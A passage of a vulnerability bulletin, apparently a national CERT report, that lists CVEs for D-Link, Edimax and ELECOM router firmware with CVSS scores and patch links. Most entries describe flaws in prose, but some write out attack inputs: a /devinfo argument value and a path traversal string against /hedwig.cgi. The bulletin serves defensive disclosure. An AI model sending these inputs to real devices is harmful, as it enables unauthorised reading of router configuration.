			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-843_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DIR--090224/2533

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dir-853_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DIR--090224/2534

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-859_firmware					
Affected Version(s): 1.06					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	21-Jan-2024	9.8	** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in D-Link DIR-859 1.06B01. It has been rated as critical. Affected by this issue is some unknown functionality of the file /hedwig.cgi of the component HTTP POST Request Handler. The manipulation of the argument service with the	https://support announcement.us.dlink.com/announcement/publication.aspx?name=SAP10371	O-DLI-DIR--090224/2535

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			input ../../../../htdocs/webinc/getcfg/DHCPS6.BRIDGE-1.xml leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251666 is the identifier assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced. **CVE ID : CVE-2024-0769**		
Product: dir-878_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-	N/A	O-DLI-DIR--090224/2536

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-882_a1_firmware					
Affected Version(s): 1.30b06					
Out-of-bounds Write	24-Jan-2024	9.8	D-Link DIR-882 DIR882A1_FW130B06 was discovered to contain a stack overflow via the sub_477AA0 function. **CVE ID : CVE-2024-22751**	https://www.dlink.com/en/security-bulletin/	O-DLI-DIR--090224/2537
Product: dir-882_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DIR--090224/2538

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dir-x1530_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DIR--090224/2539

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-x1860_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DIR--090224/2540

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dsl-224_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DSL--090224/2541

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dsl-245gr_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DSL--090224/2542

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dsl-2640u_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DSL--090224/2543

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dsl-2750u_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DSL--090224/2544

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dsl-g2452gr_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DSL--090224/2545

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dvg-5402g\/gfru_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DVG--090224/2546

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dvg-5402g_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DVG--090224/2547

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dvg-n5402g\/il_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DVG--090224/2548

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dvg-n5402g_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DVG--090224/2549

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dwm-312w_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DWM--090224/2550

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dwm-321_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DWM--090224/2551

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dwr-921_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DWR--090224/2552

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dwr-953_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DWR--090224/2553

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: go-rt-ac750_firmware					
Affected Version(s): 101b03					
Out-of-bounds Write	16-Jan-2024	9.8	In D-LINK Go-RT-AC750 v101b03, the sprintf function in the sub_40E700 function within the cgibin is susceptible to stack overflow. **CVE ID : CVE-2024-22916**	N/A	O-DLI-GO-R-090224/2554
Vendor: Edimax					
Product: br-6478ac_firmware					
Affected Version(s): 1.23					
Out-of-bounds Write	16-Jan-2024	9.8	A stack-based buffer overflow vulnerability in	N/A	O-EDI-BR-6-090224/2555

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/bin/webs binary in Edimax BR6478AC V2 firmware veraion v1.23 allows attackers to overwrite other values located on the stack due to an incorrect use of the strcpy() function. **CVE ID : CVE-2023-49351**		
Vendor: elecom					
Product: wrc-x1800gs-b_firmware					
Affected Version(s): * Up to (excluding) 1.18					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	OS command injection vulnerability in ELECOM wireless LAN routers allows a network-adjacent attacker with an administrative privilege to execute arbitrary OS commands by sending a specially crafted request to the product. Affected products and versions are as follows: WRC-X1800GS-B v1.17 and earlier, WRC-X1800GSA-B v1.17 and earlier, WRC-X1800GSH-B v1.17 and earlier, WRC-X6000XS-G v1.09, and WRC-	https://www.elecom.co.jp/news/security/20240123-01/	O-ELE-WRC--090224/2556

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			X6000XST-G v1.12 and earlier. **CVE ID : CVE-2024-22372**		
Product: wrc-x1800gsa-b_firmware					
Affected Version(s): * Up to (excluding) 1.18					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	OS command injection vulnerability in ELECOM wireless LAN routers allows a network-adjacent attacker with an administrative privilege to execute arbitrary OS commands by sending a specially crafted request to the product. Affected products and versions are as follows: WRC-X1800GS-B v1.17 and earlier, WRC-X1800GSA-B v1.17 and earlier, WRC-X1800GSH-B v1.17 and earlier, WRC-X6000XS-G v1.09, and WRC-X6000XST-G v1.12 and earlier. **CVE ID : CVE-2024-22372**	https://www.elecom.co.jp/news/security/20240123-01/	O-ELE-WRC--090224/2557
Product: wrc-x1800gsh-b_firmware					
Affected Version(s): * Up to (excluding) 1.18					
Improper Neutralization of Special	24-Jan-2024	6.8	OS command injection vulnerability in ELECOM wireless	https://www.elecom.co.jp/news/security/20240123-01/	O-ELE-WRC--090224/2558

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Elements used in an OS Command ('OS Command Injection')			LAN routers allows a network-adjacent attacker with an administrative privilege to execute arbitrary OS commands by sending a specially crafted request to the product. Affected products and versions are as follows: WRC-X1800GS-B v1.17 and earlier, WRC-X1800GSA-B v1.17 and earlier, WRC-X1800GSH-B v1.17 and earlier, WRC-X6000XS-G v1.09, and WRC-X6000XST-G v1.12 and earlier. **CVE ID : CVE-2024-22372**		
Product: wrc-x6000xs-g_firmware					
Affected Version(s): 1.09					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	OS command injection vulnerability in ELECOM wireless LAN routers allows a network-adjacent attacker with an administrative privilege to execute arbitrary OS commands by sending a specially crafted request to the product. Affected products and versions are as	https://www.elecom.co.jp/news/security/20240123-01/	O-ELE-WRC--090224/2559

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			follows: WRC-X1800GS-B v1.17 and earlier, WRC-X1800GSA-B v1.17 and earlier, WRC-X1800GSH-B v1.17 and earlier, WRC-X6000XS-G v1.09, and WRC-X6000XST-G v1.12 and earlier. **CVE ID : CVE-2024-22372**		
Product: wrc-x6000xst-g_firmware					
Affected Version(s): * Up to (excluding) 1.14					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	OS command injection vulnerability in ELECOM wireless LAN routers allows a network-adjacent attacker with an administrative privilege to execute arbitrary OS commands by sending a specially crafted request to the product. Affected products and versions are as follows: WRC-X1800GS-B v1.17 and earlier, WRC-X1800GSA-B v1.17 and earlier, WRC-X1800GSH-B v1.17 and earlier, WRC-X6000XS-G v1.09, and WRC-X6000XST-G v1.12 and earlier.	https://www.elecom.co.jp/news/security/20240123-01/	O-ELE-WRC--090224/2560

